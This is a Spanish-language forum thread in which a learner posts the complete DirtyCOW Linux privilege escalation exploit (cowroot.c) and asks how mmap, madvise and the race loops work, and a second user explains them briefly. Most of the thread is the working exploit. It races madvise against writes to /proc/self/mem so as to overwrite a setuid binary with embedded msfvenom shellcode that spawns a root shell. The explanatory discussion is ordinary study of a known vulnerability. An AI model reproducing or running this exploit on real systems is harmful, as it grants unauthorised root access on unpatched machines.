DirtyCOW funcionamiento

Iniciado por mester, 25 Octubre 2016, 23:58 PM

0 Miembros y 1 Visitante están viendo este tema.

mester

Hola. Me he descargado de exploit-db.com el exploit DirtyCOW, y estoy aprendiendo a programar en C y me gustaría entenderlo un poco. Adjunto codigo:


/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
//char suid_binary[] = "/usr/bin/passwd";
char suid_binary[] = "mydirty";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

void *madviseThread(void *arg)
{
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
  return NULL;
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,(off_t)map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
  return NULL;
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
  return NULL;
}

int main(int argc,char *argv[]) {
    char backup[1024];

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);

    sprintf(backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}


Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.

Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?

Gracias de antemano.
Justicia es dar a cada uno lo que se merece

sirdarckcat

Hola mester

Lo que hace mmap() es que asigna una sección de memoria a un archivo. Imagina que hace que cuando lees esa sección de memoria, vas a leer el archivo directamente.

madvise() es usada para optimizar el uso de memoria. Si tu sabes que tipo de acceso vas a hacer a la memoria, puedes ayudar al kernel hacer el acceso mas rapido y eficiente.

El motivo de repetir las operaciones tantas veces es para que las dos operaciones (escribir en memoria, y descartar la copia del archivo) pasen al mismo tiempo, y el programa termine escribiendo en el archivo, enlugar de la copia.

El kernel copia los cambios en la memoria de vuelta al disco duro.

No entendi tu ultima pregunta.